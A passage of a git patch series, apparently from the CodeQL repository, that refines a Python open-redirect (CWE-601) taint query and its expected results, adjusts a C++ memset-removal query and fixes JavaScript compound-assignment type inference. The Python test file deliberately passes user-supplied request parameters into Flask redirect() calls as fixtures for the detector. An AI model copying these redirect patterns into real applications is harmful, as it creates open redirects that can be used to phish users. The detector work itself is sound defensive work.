+} + +class UrlRedirectConfiguration extends TaintTracking::Configuration { + UrlRedirectConfiguration() { this = "URL redirect configuration" } + + override predicate isSource(TaintTracking::Source source) { + source instanceof HttpRequestTaintSource + } + + override predicate isSink(TaintTracking::Sink sink) { sink instanceof HttpRedirectTaintSink } +} + +from UrlRedirectConfiguration config, TaintedPathSource src, TaintedPathSink sink +where config.hasFlowPath(src, sink) +select sink.getSink(), src, sink, "Untrusted URL redirection due to $@.", src.getSource(), + "a user-provided value" diff --git a/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll b/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll new file mode 100644 index 00000000000..d43df8417b0 --- /dev/null +++ b/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll @@ -0,0 +1,28 @@ +/** + * Provides a taint-tracking configuration for detecting URL redirection + * vulnerabilities. + */ + +import python +import semmle.python.dataflow.new.DataFlow +import semmle.python.dataflow.new.TaintTracking +import semmle.python.Concepts +import semmle.python.dataflow.new.RemoteFlowSources +import semmle.python.dataflow.new.BarrierGuards + +/** + * A taint-tracking configuration for detecting URL redirection vulnerabilities. + */ +class UrlRedirectConfiguration extends TaintTracking::Configuration { + UrlRedirectConfiguration() { this = "UrlRedirectConfiguration" } + + override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource } + + override predicate isSink(DataFlow::Node sink) { + sink = any(HTTP::Server::HttpRedirectResponse e).getRedirectLocation() + } + + override predicate isSanitizerGuard(DataFlow::BarrierGuard guard) { + guard instanceof StringConstCompare + } +} diff --git a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected index ec681a905a5..e1bcf5948d9 100644 --- a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected +++ b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected @@ -1,52 +1,43 @@ edges -| test.py:7:14:7:25 | dict of externally controlled string | test.py:7:14:7:43 | externally controlled string | -| test.py:7:14:7:25 | dict of externally controlled string | test.py:7:14:7:43 | externally controlled string | -| test.py:7:14:7:43 | externally controlled string | test.py:8:21:8:26 | externally controlled string | -| test.py:7:14:7:43 | externally controlled string | test.py:8:21:8:26 | externally controlled string | -| test.py:30:17:30:28 | dict of externally controlled string | test.py:30:17:30:46 | externally controlled string | -| test.py:30:17:30:28 | dict of externally controlled string | test.py:30:17:30:46 | externally controlled string | -| test.py:30:17:30:46 | externally controlled string | test.py:31:41:31:49 | externally controlled string | -| test.py:30:17:30:46 | externally controlled string | test.py:31:41:31:49 | externally controlled string | -| test.py:31:12:31:50 | externally controlled string | test.py:32:21:32:24 | externally controlled string | -| test.py:31:12:31:50 | externally controlled string | test.py:32:21:32:24 | externally controlled string | -| test.py:31:41:31:49 | externally controlled string | test.py:31:12:31:50 | externally controlled string | -| test.py:31:41:31:49 | externally controlled string | test.py:31:12:31:50 | externally controlled string | -| test.py:37:17:37:28 | dict of externally controlled string | test.py:37:17:37:46 | externally controlled string | -| test.py:37:17:37:28 | dict of externally controlled string | test.py:37:17:37:46 | externally controlled string | -| test.py:37:17:37:46 | externally controlled string | test.py:38:32:38:40 | externally controlled string | -| test.py:37:17:37:46 | externally controlled string | test.py:38:32:38:40 | externally controlled string | -| test.py:38:12:38:42 | externally controlled string | test.py:39:21:39:24 | externally controlled string | -| test.py:38:12:38:42 | externally controlled string | test.py:39:21:39:24 | externally controlled string | -| test.py:38:32:38:40 | externally controlled string | test.py:38:12:38:42 | externally controlled string | -| test.py:38:32:38:40 | externally controlled string | test.py:38:12:38:42 | externally controlled string | -| test.py:53:17:53:28 | dict of externally controlled string | test.py:53:17:53:46 | externally controlled string | -| test.py:53:17:53:28 | dict of externally controlled string | test.py:53:17:53:46 | externally controlled string | -| test.py:53:17:53:46 | externally controlled string | test.py:54:14:54:22 | externally controlled string | -| test.py:53:17:53:46 | externally controlled string | test.py:54:14:54:22 | externally controlled string | -| test.py:54:14:54:22 | externally controlled string | test.py:54:14:54:41 | externally controlled string | -| test.py:54:14:54:22 | externally controlled string | test.py:54:14:54:41 | externally controlled string | -| test.py:54:14:54:41 | externally controlled string | test.py:55:21:55:26 | externally controlled string | -| test.py:54:14:54:41 | externally controlled string | test.py:55:21:55:26 | externally controlled string | -| test.py:60:17:60:28 | dict of externally controlled string | test.py:60:17:60:46 | externally controlled string | -| test.py:60:17:60:28 | dict of externally controlled string | test.py:60:17:60:46 | externally controlled string | -| test.py:60:17:60:46 | externally controlled string | test.py:61:40:61:48 | externally controlled string | -| test.py:60:17:60:46 | externally controlled string | test.py:61:40:61:48 | externally controlled string | -| test.py:61:14:61:49 | externally controlled string | test.py:62:21:62:26 | externally controlled string | -| test.py:61:14:61:49 | externally controlled string | test.py:62:21:62:26 | externally controlled string | -| test.py:61:40:61:48 | externally controlled string | test.py:61:14:61:49 | externally controlled string | -| test.py:61:40:61:48 | externally controlled string | test.py:61:14:61:49 | externally controlled string | -| test.py:67:17:67:28 | dict of externally controlled string | test.py:67:17:67:46 | externally controlled string | -| test.py:67:17:67:28 | dict of externally controlled string | test.py:67:17:67:46 | externally controlled string | -| test.py:67:17:67:46 | externally controlled string | test.py:68:17:68:25 | externally controlled string | -| test.py:67:17:67:46 | externally controlled string | test.py:68:17:68:25 | externally controlled string | -| test.py:68:14:68:41 | externally controlled string | test.py:69:21:69:26 | externally controlled string | -| test.py:68:14:68:41 | externally controlled string | test.py:69:21:69:26 | externally controlled string | -| test.py:68:17:68:25 | externally controlled string | test.py:68:14:68:41 | externally controlled string | -| test.py:68:17:68:25 | externally controlled string | test.py:68:14:68:41 | externally controlled string | +| test.py:7:14:7:25 | ControlFlowNode for Attribute | test.py:8:21:8:26 | ControlFlowNode for target | +| test.py:15:17:15:28 | ControlFlowNode for Attribute | test.py:18:21:18:24 | ControlFlowNode for safe | +| test.py:23:17:23:28 | ControlFlowNode for Attribute | test.py:25:21:25:24 | ControlFlowNode for safe | +| test.py:30:17:30:28 | ControlFlowNode for Attribute | test.py:32:21:32:24 | ControlFlowNode for safe | +| test.py:37:17:37:28 | ControlFlowNode for Attribute | test.py:39:21:39:24 | ControlFlowNode for safe | +| test.py:44:17:44:28 | ControlFlowNode for Attribute | test.py:46:21:46:24 | ControlFlowNode for safe | +| test.py:53:17:53:28 | ControlFlowNode for Attribute | test.py:55:21:55:26 | ControlFlowNode for unsafe | +| test.py:60:17:60:28 | ControlFlowNode for Attribute | test.py:62:21:62:26 | ControlFlowNode for unsafe | +| test.py:67:17:67:28 | ControlFlowNode for Attribute | test.py:69:21:69:26 | ControlFlowNode for unsafe | +| test.py:74:17:74:28 | ControlFlowNode for Attribute | test.py:76:21:76:26 | ControlFlowNode for unsafe | +nodes +| test.py:7:14:7:25 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:8:21:8:26 | ControlFlowNode for target | semmle.label | ControlFlowNode for target | +| test.py:15:17:15:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:18:21:18:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | +| test.py:23:17:23:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:25:21:25:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | +| test.py:30:17:30:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:32:21:32:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | +| test.py:37:17:37:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:39:21:39:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | +| test.py:44:17:44:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:46:21:46:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | +| test.py:53:17:53:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:55:21:55:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | +| test.py:60:17:60:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:62:21:62:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | +| test.py:67:17:67:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:69:21:69:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | +| test.py:74:17:74:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:76:21:76:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | #select -| test.py:8:21:8:26 | target | test.py:7:14:7:25 | dict of externally controlled string | test.py:8:21:8:26 | externally controlled string | Untrusted URL redirection due to $@. | test.py:7:14:7:25 | Attribute | a user-provided value | -| test.py:32:21:32:24 | safe | test.py:30:17:30:28 | dict of externally controlled string | test.py:32:21:32:24 | externally controlled string | Untrusted URL redirection due to $@. | test.py:30:17:30:28 | Attribute | a user-provided value | -| test.py:39:21:39:24 | safe | test.py:37:17:37:28 | dict of externally controlled string | test.py:39:21:39:24 | externally controlled string | Untrusted URL redirection due to $@. | test.py:37:17:37:28 | Attribute | a user-provided value | -| test.py:55:21:55:26 | unsafe | test.py:53:17:53:28 | dict of externally controlled string | test.py:55:21:55:26 | externally controlled string | Untrusted URL redirection due to $@. | test.py:53:17:53:28 | Attribute | a user-provided value | -| test.py:62:21:62:26 | unsafe | test.py:60:17:60:28 | dict of externally controlled string | test.py:62:21:62:26 | externally controlled string | Untrusted URL redirection due to $@. | test.py:60:17:60:28 | Attribute | a user-provided value | -| test.py:69:21:69:26 | unsafe | test.py:67:17:67:28 | dict of externally controlled string | test.py:69:21:69:26 | externally controlled string | Untrusted URL redirection due to $@. | test.py:67:17:67:28 | Attribute | a user-provided value | +| test.py:8:21:8:26 | ControlFlowNode for target | test.py:7:14:7:25 | ControlFlowNode for Attribute | test.py:8:21:8:26 | ControlFlowNode for target | Untrusted URL redirection due to $@. | test.py:7:14:7:25 | ControlFlowNode for Attribute | A user-provided value | +| test.py:18:21:18:24 | ControlFlowNode for safe | test.py:15:17:15:28 | ControlFlowNode for Attribute | test.py:18:21:18:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:15:17:15:28 | ControlFlowNode for Attribute | A user-provided value | +| test.py:25:21:25:24 | ControlFlowNode for safe | test.py:23:17:23:28 | ControlFlowNode for Attribute | test.py:25:21:25:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:23:17:23:28 | ControlFlowNode for Attribute | A user-provided value | +| test.py:32:21:32:24 | ControlFlowNode for safe | test.py:30:17:30:28 | ControlFlowNode for Attribute | test.py:32:21:32:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:30:17:30:28 | ControlFlowNode for Attribute | A user-provided value | +| test.py:39:21:39:24 | ControlFlowNode for safe | test.py:37:17:37:28 | ControlFlowNode for Attribute | test.py:39:21:39:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:37:17:37:28 | ControlFlowNode for Attribute | A user-provided value | +| test.py:46:21:46:24 | ControlFlowNode for safe | test.py:44:17:44:28 | ControlFlowNode for Attribute | test.py:46:21:46:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:44:17:44:28 | ControlFlowNode for Attribute | A user-provided value | +| test.py:55:21:55:26 | ControlFlowNode for unsafe | test.py:53:17:53:28 | ControlFlowNode for Attribute | test.py:55:21:55:26 | ControlFlowNode for unsafe | Untrusted URL redirection due to $@. | test.py:53:17:53:28 | ControlFlowNode for Attribute | A user-provided value | +| test.py:62:21:62:26 | ControlFlowNode for unsafe | test.py:60:17:60:28 | ControlFlowNode for Attribute | test.py:62:21:62:26 | ControlFlowNode for unsafe | Untrusted URL redirection due to $@. | test.py:60:17:60:28 | ControlFlowNode for Attribute | A user-provided value | +| test.py:69:21:69:26 | ControlFlowNode for unsafe | test.py:67:17:67:28 | ControlFlowNode for Attribute | test.py:69:21:69:26 | ControlFlowNode for unsafe | Untrusted URL redirection due to $@. | test.py:67:17:67:28 | ControlFlowNode for Attribute | A user-provided value | +| test.py:76:21:76:26 | ControlFlowNode for unsafe | test.py:74:17:74:28 | ControlFlowNode for Attribute | test.py:76:21:76:26 | ControlFlowNode for unsafe | Untrusted URL redirection due to $@. | test.py:74:17:74:28 | ControlFlowNode for Attribute | A user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-601/test.py b/python/ql/test/query-tests/Security/CWE-601/test.py index dfc9e37281d..680038576e1 100644 --- a/python/ql/test/query-tests/Security/CWE-601/test.py +++ b/python/ql/test/query-tests/Security/CWE-601/test.py @@ -15,14 +15,14 @@ def ok(): untrusted = request.args.get('target', '') safe = "https://safe.com/" safe += untrusted - return redirect(safe, code=302) + return redirect(safe, code=302) # FP @app.route('/ok2') def ok2(): untrusted = request.args.get('target', '') safe = "https://safe.com/" + untrusted - return redirect(safe, code=302) + return redirect(safe, code=302) # FP @app.route('/ok3') @@ -43,7 +43,7 @@ def ok4(): def ok5(): untrusted = request.args.get('target', '') safe = "https://safe.com/%s" % untrusted - return redirect(safe, code=302) + return redirect(safe, code=302) # FP # Check that our sanitizer is not too broad @@ -73,4 +73,4 @@ def not_ok3(): def not_ok4(): untrusted = request.args.get('target', '') unsafe = "%s?login=success" % untrusted - return redirect(unsafe, code=302) # Missing result + return redirect(unsafe, code=302) From 37aa9b9d060dceb2a6b8f080f0fa78655454b6d5 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 19 Jan 2021 16:08:10 +0100 Subject: [PATCH 0724/1241] Python: Add prefix sanitizer on URL redirect query This doesn't cover 100% of what we want to, but matches what we used to. --- .../src/semmle/python/security/dataflow/UrlRedirect.qll | 9 +++++++++ .../query-tests/Security/CWE-601/UrlRedirect.expected | 8 -------- python/ql/test/query-tests/Security/CWE-601/test.py | 4 ++-- 3 files changed, 11 insertions(+), 10 deletions(-) diff --git a/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll b/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll index d43df8417b0..7017bf8aa29 100644 --- a/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll +++ b/python/ql/src/semmle/python/security/dataflow/UrlRedirect.qll @@ -22,6 +22,15 @@ class UrlRedirectConfiguration extends TaintTracking::Configuration { sink = any(HTTP::Server::HttpRedirectResponse e).getRedirectLocation() } + override predicate isSanitizer(DataFlow::Node node) { + // Url redirection is a problem only if the user controls the prefix of the URL. + // This is a copy of the taint-sanitizer from the old points-to query, which doesn't + // cover formatting. + exists(BinaryExprNode string_concat | string_concat.getOp() instanceof Add | + string_concat.getRight() = node.asCfgNode() + ) + } + override predicate isSanitizerGuard(DataFlow::BarrierGuard guard) { guard instanceof StringConstCompare } diff --git a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected index e1bcf5948d9..1e108f545ca 100644 --- a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected +++ b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected @@ -1,7 +1,5 @@ edges | test.py:7:14:7:25 | ControlFlowNode for Attribute | test.py:8:21:8:26 | ControlFlowNode for target | -| test.py:15:17:15:28 | ControlFlowNode for Attribute | test.py:18:21:18:24 | ControlFlowNode for safe | -| test.py:23:17:23:28 | ControlFlowNode for Attribute | test.py:25:21:25:24 | ControlFlowNode for safe | | test.py:30:17:30:28 | ControlFlowNode for Attribute | test.py:32:21:32:24 | ControlFlowNode for safe | | test.py:37:17:37:28 | ControlFlowNode for Attribute | test.py:39:21:39:24 | ControlFlowNode for safe | | test.py:44:17:44:28 | ControlFlowNode for Attribute | test.py:46:21:46:24 | ControlFlowNode for safe | @@ -12,10 +10,6 @@ edges nodes | test.py:7:14:7:25 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:8:21:8:26 | ControlFlowNode for target | semmle.label | ControlFlowNode for target | -| test.py:15:17:15:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| test.py:18:21:18:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | -| test.py:23:17:23:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| test.py:25:21:25:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | | test.py:30:17:30:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:32:21:32:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | | test.py:37:17:37:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | @@ -32,8 +26,6 @@ nodes | test.py:76:21:76:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | #select | test.py:8:21:8:26 | ControlFlowNode for target | test.py:7:14:7:25 | ControlFlowNode for Attribute | test.py:8:21:8:26 | ControlFlowNode for target | Untrusted URL redirection due to $@. | test.py:7:14:7:25 | ControlFlowNode for Attribute | A user-provided value | -| test.py:18:21:18:24 | ControlFlowNode for safe | test.py:15:17:15:28 | ControlFlowNode for Attribute | test.py:18:21:18:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:15:17:15:28 | ControlFlowNode for Attribute | A user-provided value | -| test.py:25:21:25:24 | ControlFlowNode for safe | test.py:23:17:23:28 | ControlFlowNode for Attribute | test.py:25:21:25:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:23:17:23:28 | ControlFlowNode for Attribute | A user-provided value | | test.py:32:21:32:24 | ControlFlowNode for safe | test.py:30:17:30:28 | ControlFlowNode for Attribute | test.py:32:21:32:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:30:17:30:28 | ControlFlowNode for Attribute | A user-provided value | | test.py:39:21:39:24 | ControlFlowNode for safe | test.py:37:17:37:28 | ControlFlowNode for Attribute | test.py:39:21:39:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:37:17:37:28 | ControlFlowNode for Attribute | A user-provided value | | test.py:46:21:46:24 | ControlFlowNode for safe | test.py:44:17:44:28 | ControlFlowNode for Attribute | test.py:46:21:46:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:44:17:44:28 | ControlFlowNode for Attribute | A user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-601/test.py b/python/ql/test/query-tests/Security/CWE-601/test.py index 680038576e1..a2aee6562b2 100644 --- a/python/ql/test/query-tests/Security/CWE-601/test.py +++ b/python/ql/test/query-tests/Security/CWE-601/test.py @@ -15,14 +15,14 @@ def ok(): untrusted = request.args.get('target', '') safe = "https://safe.com/" safe += untrusted - return redirect(safe, code=302) # FP + return redirect(safe, code=302) @app.route('/ok2') def ok2(): untrusted = request.args.get('target', '') safe = "https://safe.com/" + untrusted - return redirect(safe, code=302) # FP + return redirect(safe, code=302) @app.route('/ok3') From 526ccdd2279c20c4de657be44f2c2cba31462633 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 19 Jan 2021 16:21:27 +0100 Subject: [PATCH 0725/1241] Python: Add safe example from qhelp to qltests --- .../query-tests/Security/CWE-601/UrlRedirect.expected | 8 ++++---- python/ql/test/query-tests/Security/CWE-601/test.py | 7 +++++++ 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected index 1e108f545ca..53098240671 100644 --- a/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected +++ b/python/ql/test/query-tests/Security/CWE-601/UrlRedirect.expected @@ -3,10 +3,10 @@ edges | test.py:30:17:30:28 | ControlFlowNode for Attribute | test.py:32:21:32:24 | ControlFlowNode for safe | | test.py:37:17:37:28 | ControlFlowNode for Attribute | test.py:39:21:39:24 | ControlFlowNode for safe | | test.py:44:17:44:28 | ControlFlowNode for Attribute | test.py:46:21:46:24 | ControlFlowNode for safe | -| test.py:53:17:53:28 | ControlFlowNode for Attribute | test.py:55:21:55:26 | ControlFlowNode for unsafe | | test.py:60:17:60:28 | ControlFlowNode for Attribute | test.py:62:21:62:26 | ControlFlowNode for unsafe | | test.py:67:17:67:28 | ControlFlowNode for Attribute | test.py:69:21:69:26 | ControlFlowNode for unsafe | | test.py:74:17:74:28 | ControlFlowNode for Attribute | test.py:76:21:76:26 | ControlFlowNode for unsafe | +| test.py:81:17:81:28 | ControlFlowNode for Attribute | test.py:83:21:83:26 | ControlFlowNode for unsafe | nodes | test.py:7:14:7:25 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:8:21:8:26 | ControlFlowNode for target | semmle.label | ControlFlowNode for target | @@ -16,20 +16,20 @@ nodes | test.py:39:21:39:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | | test.py:44:17:44:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:46:21:46:24 | ControlFlowNode for safe | semmle.label | ControlFlowNode for safe | -| test.py:53:17:53:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| test.py:55:21:55:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | | test.py:60:17:60:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:62:21:62:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | | test.py:67:17:67:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:69:21:69:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | | test.py:74:17:74:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | test.py:76:21:76:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | +| test.py:81:17:81:28 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| test.py:83:21:83:26 | ControlFlowNode for unsafe | semmle.label | ControlFlowNode for unsafe | #select | test.py:8:21:8:26 | ControlFlowNode for target | test.py:7:14:7:25 | ControlFlowNode for Attribute | test.py:8:21:8:26 | ControlFlowNode for target | Untrusted URL redirection due to $@. | test.py:7:14:7:25 | ControlFlowNode for Attribute | A user-provided value | | test.py:32:21:32:24 | ControlFlowNode for safe | test.py:30:17:30:28 | ControlFlowNode for Attribute | test.py:32:21:32:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:30:17:30:28 | ControlFlowNode for Attribute | A user-provided value | | test.py:39:21:39:24 | ControlFlowNode for safe | test.py:37:17:37:28 | ControlFlowNode for Attribute | test.py:39:21:39:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:37:17:37:28 | ControlFlowNode for Attribute | A user-provided value | | test.py:46:21:46:24 | ControlFlowNode for safe | test.py:44:17:44:28 | ControlFlowNode for Attribute | test.py:46:21:46:24 | ControlFlowNode for safe | Untrusted URL redirection due to $@. | test.py:44:17:44:28 | ControlFlowNode for Attribute | A user-provided value | -| test.py:55:21:55:26 | ControlFlowNode for unsafe | test.py:53:17:53:28 | ControlFlowNode for Attribute | test.py:55:21:55:26 | ControlFlowNode for unsafe | Untrusted URL redirection due to $@. | test.py:53:17:53:28 | ControlFlowNode for Attribute | A user-provided value | | test.py:62:21:62:26 | ControlFlowNode for unsafe | test.py:60:17:60:28 | ControlFlowNode for Attribute | test.py:62:21:62:26 | ControlFlowNode for unsafe | Untrusted URL redirection due to $@. | test.py:60:17:60:28 | ControlFlowNode for Attribute | A user-provided value | | test.py:69:21:69:26 | ControlFlowNode for unsafe | test.py:67:17:67:28 | ControlFlowNode for Attribute | test.py:69:21:69:26 | ControlFlowNode for unsafe | Untrusted URL redirection due to $@. | test.py:67:17:67:28 | ControlFlowNode for Attribute | A user-provided value | | test.py:76:21:76:26 | ControlFlowNode for unsafe | test.py:74:17:74:28 | ControlFlowNode for Attribute | test.py:76:21:76:26 | ControlFlowNode for unsafe | Untrusted URL redirection due to $@. | test.py:74:17:74:28 | ControlFlowNode for Attribute | A user-provided value | +| test.py:83:21:83:26 | ControlFlowNode for unsafe | test.py:81:17:81:28 | ControlFlowNode for Attribute | test.py:83:21:83:26 | ControlFlowNode for unsafe | Untrusted URL redirection due to $@. | test.py:81:17:81:28 | ControlFlowNode for Attribute | A user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-601/test.py b/python/ql/test/query-tests/Security/CWE-601/test.py index a2aee6562b2..381eb3a4bae 100644 --- a/python/ql/test/query-tests/Security/CWE-601/test.py +++ b/python/ql/test/query-tests/Security/CWE-601/test.py @@ -46,6 +46,13 @@ def ok5(): return redirect(safe, code=302) # FP +@app.route('/const-str-compare') +def const_str_compare(): + target = request.args.get('target', '') + if target == "example.com/": + return redirect(target, code=302) + + # Check that our sanitizer is not too broad @app.route('/not_ok1') From 4c9de4574a9169f51428dbc02b280b216cbdb5c7 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Wed, 20 Jan 2021 16:24:43 +0300 Subject: [PATCH 0726/1241] Update CompilerRemovalOfCodeToClearBuffers.ql --- .../Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql index 96ecc30a95e..b0c412df4cc 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -12,6 +12,7 @@ import cpp import semmle.code.cpp.dataflow.DataFlow +import semmle.code.cpp.dataflow.StackAddress /** * A call to `memset` of the form `memset(ptr, value, num)`, for some local variable `ptr`. @@ -34,6 +35,8 @@ class CompilerRemovaMemset extends FunctionCall { this.getArgument(0) = v.getAnAccess() and alloc.getASuccessor+() = this ) + or + not stackPointerFlowsToUse(this.getArgument(0), _, _, _) } predicate isExistsFreeForThisVariable() { From 2e024c3c61b076d56b234309fd2ef19f9f571eab Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Wed, 20 Jan 2021 15:26:39 +0100 Subject: [PATCH 0727/1241] fix that type inference assumed every compound-assignment have type number --- .../ql/src/Expressions/ImplicitOperandConversion.ql | 8 +------- javascript/ql/src/semmle/javascript/Expr.qll | 12 ++++++++++++ .../dataflow/internal/BasicExprTypeInference.qll | 4 +++- .../LanguageFeatures/PropertyWriteOnPrimitive/tst.js | 6 ++++++ 4 files changed, 22 insertions(+), 8 deletions(-) diff --git a/javascript/ql/src/Expressions/ImplicitOperandConversion.ql b/javascript/ql/src/Expressions/ImplicitOperandConversion.ql index a10b5b9c0c3..00196d9ef25 100644 --- a/javascript/ql/src/Expressions/ImplicitOperandConversion.ql +++ b/javascript/ql/src/Expressions/ImplicitOperandConversion.ql @@ -130,13 +130,7 @@ class NumericConversion extends ImplicitConversion { or parent instanceof ArithmeticExpr and not parent instanceof AddExpr or - parent instanceof CompoundAssignExpr and - not ( - parent instanceof AssignAddExpr or - parent instanceof AssignLogOrExpr or - parent instanceof AssignLogAndExpr or - parent instanceof AssignNullishCoalescingExpr - ) + parent.(CompoundAssignExpr).isNumeric() or parent instanceof UpdateExpr } diff --git a/javascript/ql/src/semmle/javascript/Expr.qll b/javascript/ql/src/semmle/javascript/Expr.qll index 1a932a7c08b..8d15653c5b2 100644 --- a/javascript/ql/src/semmle/javascript/Expr.qll +++ b/javascript/ql/src/semmle/javascript/Expr.qll @@ -1921,6 +1921,18 @@ private class TCompoundAssignExpr = */ class CompoundAssignExpr extends TCompoundAssignExpr, Assignment { override string getAPrimaryQlClass() { result = "CompoundAssignExpr" } + + /** + * Holds if this compound assignment always returns a number value. + */ + predicate isNumeric() { + not ( + this instanceof AssignAddExpr or + this instanceof AssignLogOrExpr or + this instanceof AssignLogAndExpr or + this instanceof AssignNullishCoalescingExpr + ) + } } /** diff --git a/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll b/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll index ab31b07f31c..776eacb5804 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/internal/BasicExprTypeInference.qll @@ -391,13 +391,15 @@ private class AnalyzedUpdateExpr extends DataFlow::AnalyzedValueNode { private class AnalyzedCompoundAssignExpr extends DataFlow::AnalyzedValueNode { override CompoundAssignExpr astNode; + AnalyzedCompoundAssignExpr() { astNode.isNumeric() } + override AbstractValue getALocalValue() { result = abstractValueOfType(TTNumber()) } } /** * Flow analysis for add-assign. */ -private class AnalyzedAssignAddExpr extends AnalyzedCompoundAssignExpr { +private class AnalyzedAssignAddExpr extends DataFlow::AnalyzedValueNode { override AssignAddExpr astNode; override AbstractValue getALocalValue() { diff --git a/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/tst.js b/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/tst.js index 40f77627e32..5d83bad877d 100644 --- a/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/tst.js +++ b/javascript/ql/test/query-tests/LanguageFeatures/PropertyWriteOnPrimitive/tst.js @@ -20,4 +20,10 @@ function g(b) { return; // OK: no types inferred for `z`, since this is dead code z.y = true; +} + +function h() { + let tmp; + let obj 